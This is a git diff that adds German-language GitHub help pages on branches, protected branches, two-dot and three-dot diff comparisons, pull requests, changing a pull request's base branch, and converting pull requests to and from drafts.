+Du erstellst einen Branch immer aus einem existierenden Branch. Normalerweise würdest du einen neuen Branch aus dem Standardbranch deines Repositorys erstellen. Da kannst dann in diesem Branch unabhängig von Änderungen arbeiten, die andere Personen im Repository machen. Ein Branch, den Du zur Erstellung einer Funktion aufbaust, wird häufig als Funktions-Branch oder Themen-Branch bezeichnet. Weitere Informationen findest du unter [Erstellen und Löschen von Branches innerhalb deines Repositorys](/articles/creating-and-deleting-branches-within-your-repository/).
+
+Du kannst einen Branch auch verwenden, um eine {% data variables.product.prodname_pages %}-Website zu veröffentlichen. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_pages %}](/articles/what-is-github-pages).
+
+Du benötigst Schreibzugriff auf ein Repository, um einen Branch zu erstellen, einen Pull Request zu öffnen oder Branches in einem Pull Request zu löschen und wiederherzustellen. Weitere Informationen findest du unter [Zugriffsberechtigungen für {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github).
+
+## Informationen zum Standardbranch
+
+{% data reusables.branches.new-repo-default-branch %} Der Standardbranch ist der Branch, den {% data variables.product.prodname_dotcom %} anzeigt, wenn eine Person dein Repository aufruft. Der Standardbranch ist auch der erste Branch, den Git lokal auscheckt, wenn eine jemand dein Repository klont. {% data reusables.branches.default-branch-automatically-base-branch %}
+
+Der Standardbranch wird von {% data variables.product.product_name %} in jedem neuen Repository standardmäßig `main` genannt.
+
+{% data reusables.branches.change-default-branch %}
+
+{% data reusables.branches.set-default-branch %}
+
+## Mit Branches arbeiten
+
+Wenn du mit deiner Arbeit zufrieden bist, kannst du einen Pull Request öffnen, um die Änderungen im aktuellen Branch (*Headbranch*) in einen anderen Branch (*Basisbranch*) zu mergen. Weitere Informationen findest du unter [Informationen zu Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).
+
+Nachdem ein Pull Request zusammengeführt oder geschlossen wurde, kannst Du den Head-Branch löschen, da dieser nicht mehr länger benötigt wird. Du benötigst Schreibzugriff auf dem Repository, um Branches zu löschen. Du kannst keine Branches löschen, die direkt mit einem offenen Pull Request verbunden sind. Weitere Informationen findest du unter [Löschen und Wiederherstellen von Branches in einem Pull Request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request).
+
+{% data reusables.pull_requests.retargeted-on-branch-deletion %} Die folgenden Diagramme veranschaulichen diesen Vorgang.
+
+ In diesem Fall hat jemand einen Branch namens `feature1` aus dem `main`-Branch erstellt, und du hast dann einen Branch namens `feature2` aus `feature1` erstellt. Es gibt für beide Branches offene Pull Requests. Der Pfeil zeigt den aktuellen Basis-Branch für jeden Pull Request an. Zu diesem Zeitpunkt ist `feature1` der Basisbranch für `feature2`. Wenn der Pull Request für `feature2` jetzt gemergt wird, wird der `feature2`-Branch in `feature1` gemergt.
+
+ ![merge-pull-request-button](/assets/images/help/branches/pr-retargeting-diagram1.png)
+
+Im nächsten Diagramm hat jemand den Pull Request für `feature1` in den `main`-Branch gemergt und den `feature1`-Branch gelöscht. Daher hat {% data variables.product.prodname_dotcom %} den Pull Request für `feature2` automatisch umgeleitet, sodass dessen Basisbranch nun `main` ist.
+
+ ![merge-pull-request-button](/assets/images/help/branches/pr-retargeting-diagram2.png)
+
+Wenn du nun den Pull Request `feature2` mergst, wird er in den `main`-Branch gemergt.
+
+## Mit geschützten Branches arbeiten
+
+Repository-Administratoren können den Schutz für einen Branch aktivieren. Wenn Du auf einem geschützten Branch arbeitest, kannst Du den Push an den Branch nicht löschen oder erzwingen. Repository-Administratoren können zusätzlich mehrere andere Einstellungen für geschützte Branches aktivieren, um verschiedene Workflows zu erzwingen, bevor ein Branch zusammengeführt werden kann.
+
+{% note %}
+
+**Hinweis:** Wenn du Repositoryadministrator*in bist, kannst du Pull Requests in Branches mit aktivierten Branchschutzmechanismen mergen, auch wenn der Pull Request die Anforderungen nicht erfüllt, es sei denn, die Branchschutzmechanismen wurden auf „Administratoren einbeziehen“ festgelegt.
+
+{% endnote %}
+
+Navigiere zum Mergefeld unten auf der Registerkarte **Konversation** des Pull Requests, um herauszufinden, ob dein Pull Request gemergt werden kann. Weitere Informationen findest du unter [Informationen zu geschützten Branches](/articles/about-protected-branches).
+
+Wenn ein Branch geschützt ist, trifft Folgendes zu:
+
+- Du kannst einen Push an den Branch nicht löschen oder erzwingen.
+- Wenn die erforderlichen Statuschecks für den Branch aktiviert sind, kannst Du Änderungen erst dann in den Branch zusammenführen, wenn alle erforderlichen CI-Tests bestanden sind. Weitere Informationen findest du unter [Informationen zu Statusüberprüfungen](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks).
+- Wenn erforderliche Pull-Request-Reviews auf dem Branch aktiviert sind, kannst Du Änderungen erst dann in den Branch zusammenführen, wenn alle Anforderungen der Richtlinie für Pull-Request-Reviews erfüllt sind. Weitere Informationen findest du unter [Mergen eines Pull Requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request).
+- Wenn der erforderliche Review von einem Codeinhaber auf einem Branch aktiviert ist und der Code mit einem Inhaber durch einen Pull Request geändert wird, muss ein Codeinhaber den Pull Request genehmigen, bevor er zusammengeführt werden kann. Weitere Informationen findest du unter [Informationen zu Codebesitzern](/articles/about-code-owners).
+- Wenn die obligatorische Commit-Signatur auf einem Branch aktiviert ist, kannst Du keine Commits an den Branch übertragen, die nicht signiert und verifiziert sind. Weitere Informationen findest du unter [Informationen zur Überprüfung der Commitsignatur](/articles/about-commit-signature-verification) und [Informationen zu geschützten Branches](/github/administering-a-repository/about-protected-branches#require-signed-commits).
+- Wenn du den Konflikt-Editor von {% data variables.product.prodname_dotcom %} benutzt, um Konflikte für einen Pull Request zu beheben, den du aus einem geschützten Branch erstellt hast, hilft dir {% data variables.product.prodname_dotcom %} dabei, einen alternativen Branch für den Pull Request zu erstellen, sodass deine Auflösung der Konflikte gemergt werden kann. Weitere Informationen findest du unter [Auflösen eines Mergekonflikts unter {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-on-github).
+
+## Weiterführende Themen
+
+- [Informationen zu Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)
+- [Branch](/articles/github-glossary/#branch) im {% data variables.product.prodname_dotcom %}-Glossar
+- [Übersicht über Branches](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell) in der Git-Dokumentation
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md
new file mode 100644
index 0000000000..a93ec97b6e
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md
@@ -0,0 +1,97 @@
+---
+title: Informationen zum Vergleich von Branches in Pull Requests
+intro: 'In Pull Requests werden Diffs angezeigt, um die Änderungen, die du in deinem Topic-Branch vorgenommen hast, mit dem Basisbranch zu vergleichen, in dem du deine Änderungen zusammenführen möchtest.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests
+  - /articles/about-comparing-branches-in-pull-requests
+  - /github/collaborating-with-issues-and-pull-requests/about-comparing-branches-in-pull-requests
+  - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Compare branches
+ms.openlocfilehash: c45bcb3bceda42019be3139724e0b68234e90cfc
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147881804'
+---
+{% note %}
+
+**Hinweis:** Beim Erstellen deines Pull Requests kannst du den Basis-Branch ändern, mit dem du deine Änderungen vergleichst. Weitere Informationen findest du unter [Erstellen eines Pull Requests](/articles/creating-a-pull-request#changing-the-branch-range-and-destination-repository).
+
+{% endnote %}
+
+Du kannst vorgeschlagene Änderungen in einem Pull Request auf der Registerkarte „Geänderte Dateien“ anzeigen. ![Registerkarte „Geänderte Dateien“ eines Pull Request](/assets/images/help/pull_requests/pull-request-tabs-changed-files.png)
+
+Anstatt die Commits selbst anzuzeigen, kannst du die vorgeschlagenen Änderungen so anzeigen, wie sie in den Dateien erscheinen werden, sobald der Pull Request übertragen wurde. Die Dateien werden in alphabetischer Reihenfolge auf der Registerkarte Dateien geändert angezeigt. Ergänzungen zu den Dateien werden grün angezeigt und werden von einem `+`-Zeichen eingeleitet, während Inhalte, die entfernt wurden, rot angezeigt und von einem `-`-Zeichen eingeleitet werden.
+
+## Anzeigeoptionen für Diffs
+
+{% tip %}
+
+**Tipp:** Wenn du den Kontext einer Änderung nicht nachvollziehen kannst, kannst du auf der Registerkarte Dateien geändert auf **Ansicht** klicken, um die gesamte Datei mit den vorgeschlagenen Änderungen anzuzeigen.
+
+{% endtip %}
+
+Du hast mehrere Möglichkeiten für die Anzeige eines Diff:
+- Die einheitliche Ansicht zeigt aktualisierte und vorhandene Inhalte gemeinsam in einer linearen Ansicht.
+- Die geteilte Ansicht zeigt alte Inhalte auf der einen Seite und neue Inhalte auf der anderen Seite.
+- Die Rich-Diff-Ansicht zeigt eine Vorschau, wie die Änderungen nach dem Merge des Pull Requests aussehen werden.
+- Die Quellansicht zeigt die Änderungen in der Quelle ohne die Formatierung der Rich-Diff-Ansicht.
+
+Du kannst außerdem Leerzeichenänderungen ignorieren, um eine genauere Ansicht der wesentlichen Änderungen in einem Pull Request zu erhalten.
+
+![Menü „Diff viewing options" (Diff-Anzeigeoptionen)](/assets/images/help/pull_requests/diff-settings-menu.png)
+
+Um Änderungen in einem großen Pull Request leichter überprüfen zu können, kannst du den Diff so filtern, dass nur Dateien angezeigt werden, deren CODEINHABER*in du bist, und gelöschte oder bereits überprüfte Dateien ausgeblendet werden. Weitere Informationen findest du unter [Filtern von Dateien in einem Pull Request nach Dateityp](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request).
+
+  ![Dropdownmenü „File filter" (Dateifilter)](/assets/images/help/pull_requests/file-filter-menu.png)
+
+## Gründe für Anzeigefehler bei Diffs
+- Du hast die maximale Anzahl von Dateien oder bestimmten Dateitypen überschritten. Weitere Informationen findest du unter [Informationen zu Repositorys](/repositories/creating-and-managing-repositories/about-repositories#limits-for-viewing-content-and-diffs-in-a-repository).
+- Deine Datei erfüllt eine Regel in der *gitattributes*-Datei des Repositorys, die verhindern, dass diese Datei standardmäßig angezeigt wird. Weitere Informationen findest du unter [Anpassen der Anzeige von geänderten Dateien auf GitHub](/articles/customizing-how-changed-files-appear-on-github).
+
+## Vergleiche von Three-Dot- (Dreipunkte-) und Two-Dot- (Zweipunkte-) Diffs von Git
+
+Es gibt zwei Vergleichsmethoden für den `git diff`-Befehl; Zweipunkt (`git diff A..B`) und Dreipunkt (`git diff A...B`). Standardmäßig zeigen Pull Requests für {% data variables.product.prodname_dotcom %} einen Dreipunkt-Diff an.
+
+### Vergleich der Dreipunkt-Git-Diff 
+
+Der Dreipunkt-Vergleich zeigt den Unterschied zwischen dem neuesten gemeinsamen Commit von beiden Branches (Zusammenführungsbasis) und der neuesten Version der Themen-Branch.
+
+### Vergleich der Zweipunkt-Git-Diff
+
+Der Zweipunktvergleich zeigt den Unterschied zwischen dem neuesten Zustand der Basis-Branches (zum Beispiel `main`) und der neuesten Version der Themen-Branch.
+
+Um zwei committish-Referenzen in einem Zwei-Punkte-Diff-Vergleich auf {% data variables.product.prodname_dotcom %} anzuzeigen, kannst du die URL der Seite „Änderungen vergleichen“ deines Repositorys bearbeiten. Weitere Informationen findest du im [Git-Glossar unter „committish“](https://git-scm.com/docs/gitglossary#gitglossary-aiddefcommit-ishacommit-ishalsocommittish) auf der Website des Buchs _Pro Git_.
+
+{% data reusables.repositories.two-dot-diff-comparison-example-urls %}
+
+Ein Two-Dot-Diff (Zweipunkte-Diff) vergleicht zwei Git-Committish-Referenzen, wie SHAs oder OIDs (Objekt-IDs), direkt miteinander. Auf {% data variables.product.prodname_dotcom %} müssen die Git-Committish-Referenzen in einem Two-Dot-Diff-Vergleich an das gleiche Repository oder seine Forks gepusht werden.
+
+Wenn du einen Two-Dot-Diff in einem Pull Request simulieren und einen Vergleich zwischen den neuesten Versionen jedes Branch sehen möchtest, kannst du den Basis-Branch in deinen Themen-Branch zusammenführen, wodurch der letzte gemeinsame Vorgänger deiner Branches aktualisiert wird.
+
+Weitere Informationen zu Git-Befehlen zum Vergleichen von Änderungen findest du unter [Optionen für „git diff“](https://git-scm.com/docs/git-diff#git-diff-emgitdiffemltoptionsgtltcommitgtltcommitgt--ltpathgt82308203) auf der Website des Buchs _Pro Git_.
+
+## Informationen zum Dreipunkt-Vergleich auf {% data variables.product.prodname_dotcom %}
+
+Da der Dreipunkt-Vergleich mit der Zusammenführungsbasis vergleicht, konzentriert es sich auf „was eine Pull Request eingeführt wird". 
+
+Wenn du einen Zweipunktvergleich verwendest, ändert sich der Diff, wenn die Basis-Branch aktualisiert wird, auch wenn du keine Änderungen an der Themen-Branch vorgenommen hast. Darüber hinaus konzentriert sich ein Zweipunktvergleich auf die Basis-Branch. Dies bedeutet, dass alles, was du hinzufügst, als fehlend aus der Basis-Branch angezeigt wird, als ob es sich um eine Löschung handelte, und umgekehrt. Dadurch werden die Änderungen der Themen-Branches mehrdeutig.
+
+Im Gegensatz dazu werden die Branches anhand des Dreipunktvergleichs immer in den Diff-Bereichen geändert, wenn die Basis-Branches aktualisiert werden, da der Diff alle Änderungen anzeigt, da die Veränderungen seit der Branches unterschiedlich sind.
+
+### Häufiges Zusammenführen
+
+Um Verwechslungen zu vermeiden, solltest du die Basisbranches (zum Beispiel `main`) häufig in deinen Topic-Branches zusammenführen. Durch das Zusammenführen der Basis-Branches sind die Diffs, die durch Zweipunkt- und Dreipunktvergleiche dargestellt werden, identisch. Es wird empfohlen, eine Pull Request so schnell wie möglich zusammenzuführen. Dies fordert Mitwirkende auf, Pull Requests kleiner zu machen, die im Allgemeinen empfohlen werden.
+
+## Weiterführende Themen
+
+- [Informationen zu Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)
+- [Informationen zu Forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
new file mode 100644
index 0000000000..9afefa91ca
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
@@ -0,0 +1,81 @@
+---
+title: Informationen zu Pull Requests
+intro: 'Mit Pull Requests kannst du andere Benutzer*innen über Änderungen informieren, die du an einen Branch in einem Repository auf {% data variables.product.product_name %} gepusht hast. Sobald ein Pull Request geöffnet ist, kannst du die potenziellen Änderungen mit Mitarbeiter*innen besprechen und überprüfen und Follow-up-Commits hinzufügen, bevor deine Änderungen in den Basisbranch gemergt werden.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests
+  - /articles/using-pull-requests
+  - /articles/about-pull-requests
+  - /github/collaborating-with-issues-and-pull-requests/about-pull-requests
+  - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+ms.openlocfilehash: 6912f0ca38cc522d5698a9e8b1a1042f445b999e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147111108'
+---
+## Informationen zu Pull Requests
+
+{% note %}
+
+**Hinweis:** Bei der Arbeit mit Pull Requests gilt es Folgendes zu beachten:
+* Wenn du im [freigegebenen Repositorymodell](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models) arbeitest, empfiehlt es sich, einen Topic-Branch für deinen Pull Request zu verwenden. Zwar kannst du Pull Requests von jedem Branch oder Commit aus senden, aber mit einem Themen-Branch kannst du Follow-up-Commits übertragen, wenn du deine vorgeschlagenen Änderungen aktualisieren musst.
+* Du solltest beim erzwungenen Pushen von Commits an einen Pull Request vorsichtig sein. Erzwungene Pushes ändern den Repositoryverlauf und können deinen Pull Request beschädigen. Wenn andere Projektmitarbeiter*innen das Projekt vor einem erzwungenen Push branchen, überschreibt der erzwungene Push möglicherweise Commits, auf denen die Arbeit anderer Projektmitarbeiter*innen basiert.
+
+{% endnote %}
+
+Du kannst Pull Requests auf {% data variables.product.prodname_dotcom_the_website %} erstellen, mit {% data variables.product.prodname_desktop %}, in {% data variables.product.prodname_github_codespaces %}, auf {% data variables.product.prodname_mobile %} und wenn du die GitHub-CLI verwendest.
+
+Nach der Initialisierung eines Pull Requests siehst du eine Review-Seite, die einen detaillierten Überblick über die Änderungen zwischen deinem Branch (dem Vergleichs-Branch) und dem Basis-Branch des Repositorys bietet. Du kannst eine Zusammenfassung der vorgeschlagenen Änderungen hinzufügen, die durch Commits vorgenommenen Änderungen überprüfen, Kennzeichnungen, Meilensteine und Bearbeiter*innen hinzufügen sowie einzelne Mitwirkende oder Teams erwähnen (@mention). Weitere Informationen findest du unter [Erstellen eines Pull Requests](/articles/creating-a-pull-request).
+
+Sobald du einen Pull Request erstellt hast, kannst du Commits aus deinem Themen-Branch übertragen, um sie zu deinem bestehenden Pull Request hinzuzufügen. Diese Commits werden in chronologischer Reihenfolge in deinem Pull Request angezeigt, und die Änderungen sind auf der Registerkarte „Files changed“ (Dateien geändert) sichtbar.
+
+Andere Mitarbeiter können deine vorgeschlagenen Änderungen überprüfen, Review-Kommentare hinzufügen, zur Diskussion über den Pull Request beitragen und sogar Commits zum Pull Request hinzufügen. {% ifversion pull-request-approval-limit %}{% data reusables.pull_requests.code-review-limits %}{% endif %}
+
+{% ifversion fpt or ghec %} Du kannst auf der Registerkarte „Konversation“ Informationen zum aktuellen Bereitstellungsstatus des Branchs und zu vergangenen Bereitstellungsaktivitäten anzeigen. Weitere Informationen findest du unter [Anzeigen der Bereitstellungsaktivitäten für ein Repository](/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository).
+{% endif %}
+
+Wenn du mit den vorgeschlagenen Änderungen einverstanden bist, kannst du den Pull Request zusammenführen. Wenn du in einem Modell mit gemeinsamen Repositorys arbeitest, erstellst du einen Pull Request und du oder jemand anders wird deine Änderungen von deinem Funktions-Branch in den Basis-Branch zusammenführen, den du im Pull Request angegeben hast. Weitere Informationen findest du unter [Mergen eines Pull Requests](/articles/merging-a-pull-request).
+
+{% data reusables.pull_requests.required-checks-must-pass-to-merge %}
+
+{% data reusables.pull_requests.close-issues-using-keywords %}
+
+{% tip %}
+
+**Tipps:**
+- Du musst <span class="platform-mac"><kbd>Option</kbd></span><span class="platform-linux"><kbd>Alt</kbd></span><span class="platform-windows"><kbd>Alt</kbd></span> gedrückt halten und auf **Veraltete anzeigen** oder **Veraltete ausblenden** klicken, um alle veralteten Überprüfungskommentare in einem Pull Request zu reduzieren bzw. zu erweitern. Weitere Tastenkombinationen findest du unter [Tastenkombinationen](/articles/keyboard-shortcuts).
+- Du kannst beim Zusammenführen eines Pull Requests Commits squashen, um eine optimierte Ansicht der Änderungen zu erhalten. Weitere Informationen findest du unter [Informationen zum Mergen von Pull Requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges).
+
+{% endtip %}
+
+In deinem Dashboard findest du schnell Links zu zuletzt aktualisierten Pull Requests, an denen du gerade arbeitest oder die du abonniert hast. Weitere Informationen findest du unter [Informationen zu deinem persönlichen Dashboard](/articles/about-your-personal-dashboard).
+
+## Pull Requests entwerfen
+
+{% data reusables.gated-features.draft-prs %}
+
+Wenn du einen Pull Request erstellst, kannst du wählen, ob du einen für den Review bereiten Pull Request oder einen Pull-Request-Entwurf erstellen möchten. Pull-Request-Entwürfe können nicht zusammengeführt werden, und Code-Inhaber werden nicht automatisch aufgefordert, Pull-Request-Entwürfe zu überprüfen. Weitere Informationen zum Erstellen eines Entwurfs-Pull-Requests findest du unter [Erstellen eines Pull Requests](/articles/creating-a-pull-request) und [Erstellen eines Pull Requests über einen Fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork).
+
+{% data reusables.pull_requests.mark-ready-review %} Du kannst einen Pull Request jederzeit in einen Entwurf umwandeln. Weitere Informationen findest du unter [Ändern der Stage eines Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request).
+
+## Unterschiede zwischen Commits auf Vergleichsseiten und Pull-Request-Seiten
+
+Vergleichsseiten und Pull-Request-Seiten nutzen verschiedene Methoden, um den Unterschied für geänderte Dateien zu berechnen:
+
+- Vergleichsseiten zeigen den Unterschied zwischen dem Anfang der Headreferenz und dem aktuellen gemeinsamen Vorgänger (also der Mergebasis) der Head- bzw. Basisreferenz.
+- Pull-Request-Seiten zeigen den Unterschied zwischen dem Anfang der Headreferenz und dem gemeinsamen Vorgänger der Head- bzw. Basisreferenz zum Zeitpunkt der Erstellung des Pull Requests. Folglich kann die für den Vergleich verwendete Mergebasis unterschiedlich sein.
+
+## Weiterführende Themen
+
+- [Pull Request](/articles/github-glossary/#pull-request) im {% data variables.product.prodname_dotcom %}-Glossar
+- [Informationen zu Branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)
+- [Kommentieren eines Pull Requests](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)
+- [Schließen eines Pull Requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request.md
new file mode 100644
index 0000000000..0f881882fb
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request.md
@@ -0,0 +1,46 @@
+---
+title: Den Basis-Branch eines Pull Requests ändern
+intro: 'Wenn ein Pull Request geöffnet wurde, kannst du den Basisbranch ändern, um die Änderungen im Pull Request mit einem anderen Branch zu vergleichen.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request
+  - /articles/changing-the-base-branch-of-a-pull-request
+  - /github/collaborating-with-issues-and-pull-requests/changing-the-base-branch-of-a-pull-request
+  - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Change the base branch
+ms.openlocfilehash: 6e8e78ac4f3e0d3f81b5efc07bb48151040baa9d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145132981'
+---
+{% warning %}
+
+**Warnung**: Wenn du den Basisbranch eines Pull Requests änderst, werden einige Commits möglicherweise von der Zeitachse entfernt. Review-Kommentare können allenfalls zu veralteten Kommentaren werden, wenn die Codezeile, auf die im Kommentar verwiesen wird, in den Änderungen des Pull-Request nicht mehr vorkommt.
+
+{% endwarning %}
+
+{% data reusables.repositories.sidebar-pr %}
+2. Klicke in der Liste „Pull Requests“ auf den Pull Request, den du ändern möchtest.
+3. Klicke neben dem Titel des Pull Requests auf **Bearbeiten**. ![Schaltfläche zum Bearbeiten eines Pull Requests](/assets/images/help/pull_requests/pull-request-edit.png)
+4. Wähle im Dropdownmenü „Basisbranch“ den Basisbranch aus, mit dem du [Änderungen vergleichen](/github/committing-changes-to-your-project/comparing-commits#comparing-branches) möchtest. ![Dropdownmenü „Basisbranch“](/assets/images/help/pull_requests/pull-request-edit-base-branch.png)
+5. Lies die Informationen zum Ändern des Basisbranchs, und klicke auf **Basis ändern**. ![Schaltfläche zum Bestätigen der Änderung des Basisbranchs](/assets/images/help/pull_requests/pull-request-base-branch-confirm.png)
+
+{% tip %}
+
+**Tipp**: Wenn du einen Pull Request öffnest, legt {% data variables.product.product_name %} die Basis auf den Commit fest, auf den dieser Branch verweist. Wenn der Branch in Zukunft aktualisiert wird, aktualisiert {% data variables.product.product_name %} den Commit des Basisbranchs nicht.
+
+{% endtip %}
+
+## Weitere Informationsquellen
+
+- [Erstellen eines Pull Requests](/articles/creating-a-pull-request)
+- [Informationen zu Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)
+- [Überprüfen von vorgeschlagenen Änderungen in einem Pull Request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request.md
new file mode 100644
index 0000000000..a51e6e18ea
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request.md
@@ -0,0 +1,54 @@
+---
+title: Die Zustand eines Pull Requests ändern
+intro: Du kannst Pull Request-Entwürfe als bereit zur Überprüfung markieren oder einen Pull Request in einen Entwurf konvertieren.
+permissions: People with write permissions to a repository and pull request authors can change the stage of a pull request.
+product: '{% data reusables.gated-features.draft-prs %}'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request
+  - /articles/changing-the-stage-of-a-pull-request
+  - /github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request
+  - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Change the state
+ms.openlocfilehash: 5ef2845e57518c4b66f13a804919f7bdea327040
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147883295'
+---
+## Einen Pull Request als bereit zum Überprüfung markieren
+
+{% data reusables.pull_requests.mark-ready-review %}
+
+{% tip %}
+
+**Tipp**: Du kannst einen Pull Request auch über die {% data variables.product.prodname_cli %} als für das Review bereit markieren. Weitere Informationen findest du unter „[`gh pr ready`](https://cli.github.com/manual/gh_pr_ready)“ in der Dokumentation zur {% data variables.product.prodname_cli %}.
+
+{% endtip %}
+
+{% data reusables.repositories.sidebar-pr %}
+2. Klicke in der Liste „Pull Requests“ auf den Pull Request, den du als „Ready for review“ (Bereit zur Überprüfung) markieren möchtest.
+3. Klicke im Feld „Merge“ auf **Bereit für Review**.
+  ![Schaltfläche „Bereit für Review“](/assets/images/help/pull_requests/ready-for-review-button.png)
+
+## Einen Pull Request in einen Entwurf umwandeln
+
+Du kannst einen Pull Request jederzeit in einen Entwurf umwandeln. Wenn du beispielsweise versehentlich einen Pull-Request anstelle eines Entwurfs geöffnet hast, oder wenn du Feedback zu deinem Pull Request erhalten hast, das bearbeitet werden muss, kannst du den Pull-Request in einem Entwurf umwandeln, um zu zeigen, dass weitere Änderungen erforderlich sind. Niemand kann den Pull Request zusammenführen, bevor du den Pull Request nicht erneut als bereit für die Überprüfung markiert hast. Personen, die bereits Benachrichtigungen für den Pull Request abonniert haben, werden nicht abgemeldet, wenn du den Pull Request in einen Entwurf umwandelst.
+
+{% data reusables.repositories.sidebar-pr %}
+2. Klicke in der Liste „Pull requests" auf den Pull Request, den du in einen Entwurf umwandeln willst.
+3. Klicke in der rechten Seitenleiste unter „Reviewer“ auf **In Entwurf konvertieren**.
+  ![Link „In Entwurf konvertieren“](/assets/images/help/pull_requests/convert-to-draft-link.png)
+4. Klicke auf **In Entwurf konvertieren**.
+  ![Bestätigung von „In Entwurf konvertieren“](/assets/images/help/pull_requests/convert-to-draft-dialog.png)
+
+## Weiterführende Themen
+
+- [Informationen zu Pull Requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)
